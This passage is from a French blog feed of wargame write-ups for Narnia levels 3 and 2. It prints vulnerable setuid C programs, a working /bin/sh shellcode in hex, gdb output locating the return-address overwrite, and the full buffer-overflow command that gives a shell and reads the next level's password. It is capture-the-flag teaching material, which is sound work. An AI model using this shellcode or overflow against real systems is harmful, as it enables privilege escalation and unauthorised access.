spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class="line number28 index27 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;seteuid(1004);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number29 index28 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;strcpy&lt;/code&gt;&lt;code class="c plain"&gt;(buf,argv[1]);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number30 index29 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"%s"&lt;/code&gt;&lt;code class="c plain"&gt;, buf);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number31 index30 alt2"&gt;&lt;/div&gt;&lt;div class="line number32 index31 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c keyword bold"&gt;return&lt;/code&gt; &lt;code class="c plain"&gt;0;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number33 index32 alt2"&gt;&lt;code class="c plain"&gt;}&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;L'exploitation semble moins triviale, mais n'importe quel programmeur peut constater la présence de la fonction strcpy qui va dupliquer dans un buffer de taille fixe (128 octets) le contenu de ce qui est passé en argument au programme, et qui donc peut faire plus de 128 octets. Il est donc possible d'écraser une partie de la mémoire avec un contenu que l'on maîtrise. Aucune variable n'est à remplacer, nous allons donc essayer de détourner le flux d'exécution du programme. Le programme va appeler strcpy, puis continuer le programme et faire le printf. Au lieu de lui faire appeler printf, forçons le à aller ailleurs. Le .gif animé du level1 de Narnia explique ça très bien. &lt;br /&gt;Exploitation après le saut.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Le level2 parlait de variables d'environnements. Est-il possible d'en utiliser, i.e. placer un shellcode dans une variable d'environnement puis demander à l'exécuter? Oui, si on connaît son adresse. Et nous avons de la chance, les machines de Narnia ne &lt;a href="http://www.google.fr/search?q=randomize_va_space"&gt;randomizent pas l'espace&lt;/a&gt;:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level3@narnia:/tmp/aaa$ cat /proc/sys/kernel/randomize_va_space&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;0&lt;/span&gt;&lt;br /&gt;Donc nous allons réutiliser le shellcode du level2:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level3@narnia:/tmp/aaa$ EGG=`printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x0&lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;7\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x4&lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;0\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'`&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level3@narnia:/tmp/aaa$ export EGG&lt;/span&gt;&lt;br /&gt;Puis écrire un programme permettant de connaître son adresse:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level3@narnia:/tmp/aaa$ cat envenv.c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;int main(void){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; char *p = NULL;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; p = getenv("EGG");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; printf("@EGG= %p\r\n", p);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level3@narnia:/tmp/aaa$ make envenv&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;cc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; envenv.c&amp;nbsp;&amp;nbsp; -o envenv&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level3@narnia:/tmp/aaa$ /tmp/aaa/envenv&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;@EGG= 0xbffffc48&lt;/span&gt;&lt;br /&gt;Attention, il est nécessaire que le nom du programme calculant l'adresse fasse la même taille que le programme victime: "/wargame/level3" = "/tmp/aaa/envenv". Pourquoi, car ce nom est enregistré dans la mémoire du processus (argv[0]), décalant ainsi l'adresse de la variable d'environnement.&lt;br /&gt;&lt;br /&gt;Il est désormais nécessaire de savoir où on écrase l'adresse de retour à l'aide de la fonction strcpy. Quelques essais avec gdb donnent la solution:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;(gdb) r `python -c "print 'a'*200"`&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Starting program: /wargame/level3 `python -c "print 'a'*200"`&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;0x61616161 in ?? ()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;(gdb) info reg&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;ecx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xb7fe0434&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -1208089548&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;edx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xb7fe1448&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -1208085432&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xb7fdfff4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -1208090636&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;esp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xbffffa10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xbffffa10&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;edi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xb8000cc0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -1207956288&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;eip&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;eflags&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x10282&amp;nbsp; [ SF IF RF ]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;cs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x73&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 115&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;ss&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x7b&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 123&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;ds&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x7b&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 123&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;es&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x7b&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 123&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;fs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;gs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x33&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 51&lt;/span&gt;&lt;br /&gt;Avec quelques essais-erreurs, on observe que l'EIP est ecrasé à partir du 140e caractère entré.&lt;br /&gt;L'EIP, c'est le pointeur d'instruction, c'est à dire que le programme va continuer à exécuter le code disponible à cette adresse. Le programme échoue ici (SIGSEGV) car il serait étonnant de trouver du code accessible et exécutable à 0x61616161 dans la mémoire. &lt;br /&gt;&lt;br /&gt;L'adresse du shellcode est à 0xbffffc48, ce qui donne \x48\xfc\xff\xbf car les adresses s'écrivent à l'envers. L'exploitation devient donc:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level3@narnia:/tmp/aaa$ /wargame/level3 `python -c "print 'A'*140+'\x48\xfc\xff\xbf'"`&lt;br /&gt;sh-3.1$ cat /home/level4/.passwd&lt;br /&gt;qobiLKAU&lt;br /&gt;sh-3.1$ exit&lt;br /&gt;level3@narnia:/tmp/aaa$ su - level4&lt;br /&gt;Password:&lt;br /&gt;level4@narnia:~$&lt;/div&gt;Exploitation propre. strcpy copie le buffer, écrase EIP avec une adresse. Le programme continue sur cette adresse, contenant un shellcode, exécution.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-9082337760873940287?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/9082337760873940287/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-narnia-level3.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/9082337760873940287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/9082337760873940287'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-narnia-level3.html' title='Challenge sur intruded - Narnia Level3'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-1778362384341217039</id><published>2011-10-15T06:00:00.000+02:00</published><updated>2011-10-15T06:00:01.499+02:00</updated><title type='text'>Challenge sur intruded - Narnia Level2</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Le niveau 2 est très didactique, le programme vulnérable est le suivant:&lt;br /&gt;&lt;div class="container"&gt;&lt;div class="line number1 index0 alt2"&gt;&lt;code class="c comments"&gt;/*&lt;/code&gt;&lt;/div&gt;&lt;div class="line number2 index1 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;This program is free software; you can redistribute it and/or modify&lt;/code&gt;&lt;/div&gt;&lt;div class="line number3 index2 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;it under the terms of the GNU General Public License as published by&lt;/code&gt;&lt;/div&gt;&lt;div class="line number4 index3 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;the Free Software Foundation; either version 2 of the License, or&lt;/code&gt;&lt;/div&gt;&lt;div class="line number5 index4 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;(at your option) any later version.&lt;/code&gt;&lt;/div&gt;&lt;div class="line number6 index5 alt1"&gt;&lt;/div&gt;&lt;div class="line number7 index6 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;This program is distributed in the hope that it will be useful,&lt;/code&gt;&lt;/div&gt;&lt;div class="line number8 index7 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;/code&gt;&lt;/div&gt;&lt;div class="line number9 index8 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&amp;nbsp; See the&lt;/code&gt;&lt;/div&gt;&lt;div class="line number10 index9 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;GNU General Public License for more details.&lt;/code&gt;&lt;/div&gt;&lt;div class="line number11 index10 alt2"&gt;&lt;/div&gt;&lt;div class="line number12 index11 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;You should have received a copy of the GNU General Public License&lt;/code&gt;&lt;/div&gt;&lt;div class="line number13 index12 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;along with this program; if not, write to the Free Software&lt;/code&gt;&lt;/div&gt;&lt;div class="line number14 index13 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA&amp;nbsp; 02110-1301&amp;nbsp; USA&lt;/code&gt;&lt;/div&gt;&lt;div class="line number15 index14 alt2"&gt;&lt;code class="c comments"&gt;*/&lt;/code&gt;&lt;/div&gt;&lt;div class="line number16 index15 alt1"&gt;&lt;code class="c preprocessor"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number17 index16 alt2"&gt;&lt;code class="c preprocessor"&gt;#include &lt;stdlib.h&gt;&lt;/stdlib.h&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number18 index17 alt1"&gt;&lt;/div&gt;&lt;div class="line number19 index18 alt2"&gt;&lt;code class="c color1 bold"&gt;int&lt;/code&gt; &lt;code class="c plain"&gt;main(){&lt;/code&gt;&lt;/div&gt;&lt;div class="line number20 index19 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c color1 bold"&gt;int&lt;/code&gt; &lt;code class="c plain"&gt;(*ret)();&lt;/code&gt;&lt;/div&gt;&lt;div class="line number21 index20 alt2"&gt;&lt;/div&gt;&lt;div class="line number22 index21 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c keyword bold"&gt;if&lt;/code&gt;&lt;code class="c plain"&gt;((ret=&lt;/code&gt;&lt;code class="c functions bold"&gt;getenv&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"EGG"&lt;/code&gt;&lt;code class="c plain"&gt;))==NULL){&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/code&gt;&lt;/div&gt;&lt;div class="line number23 index22 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"Give me something to execute at the env-variable EGG\n"&lt;/code&gt;&lt;code class="c plain"&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number24 index23 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;exit&lt;/code&gt;&lt;code class="c plain"&gt;(1);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number25 index24 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class="line number26 index25 alt1"&gt;&lt;/div&gt;&lt;div class="line number27 index26 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"Trying to execute EGG!\n"&lt;/code&gt;&lt;code class="c plain"&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number28 index27 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;seteuid(1003);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number29 index28 alt2"&gt;&lt;/div&gt;&lt;div class="line number30 index29 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;ret();&lt;/code&gt;&lt;/div&gt;&lt;div class="line number31 index30 alt2"&gt;&lt;/div&gt;&lt;div class="line number32 index31 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c keyword bold"&gt;return&lt;/code&gt; &lt;code class="c plain"&gt;0;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number33 index32 alt2"&gt;&lt;code class="c plain"&gt;}&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Nous avons donc un programme qui va exécuter simplement ce qui est situé dans une variable d'environnement. Nous avons tous entendu parler de &lt;a href="http://fr.wikipedia.org/wiki/Shellcode"&gt;shellcode&lt;/a&gt;. Cet exercice n'a pas vocation a être compliqué, il est surtout éducatif. L'exploitation après le saut:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Pour exploiter ce programme, le shellcode donné par wikipedia est amplement &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;suffisant:evel2@narnia:/wargame$ EGG=`printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'`&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level2@narnia:/wargame$ export EGG&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level2@narnia:/wargame$ ./level2&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Trying to execute EGG!&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sh-3.1$ id&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1002(level2)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sh-3.1$ cat /home/level3/.passwd&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;JJDngwzm&lt;/span&gt;&lt;br /&gt;Et nous pouvons nous envoler vers le level3 &lt;br /&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-1778362384341217039?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/1778362384341217039/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-narnia-level2.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1778362384341217039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1778362384341217039'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-narnia-level2.html' title='Challenge sur intruded - Narnia Level2'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-1854803591692855483</id><published>2011-10-14T06:00:00.000+02:00</published><updated>2011-10-14T06:00:08.169+02:00</updated><title type='text'>Challenge sur intruded - Narnia Level1</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Après Leviathan, je suis allé voir Narnia, qui est une série de challenges orientée failles de programmations, buffer overflows et format string vulnerabilities. Ce challenge est intéressant car il permet de mettre en pratique ces failles dont on entend si souvent parler dans le monde de la sécurité.&lt;br /&gt;&lt;br /&gt;Pour mener à bien le début de ces challenges, deux aides. La première expliquant ce qu'est un buffer overflow de manière très didactique:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-RpgoKpVTTYc/TpWYXr8AWTI/AAAAAAAAAGU/M6ZM2pUzjtw/s1600/100px-Pile_debordement.gif" imageanchor="1" style="margin-left: 1em; 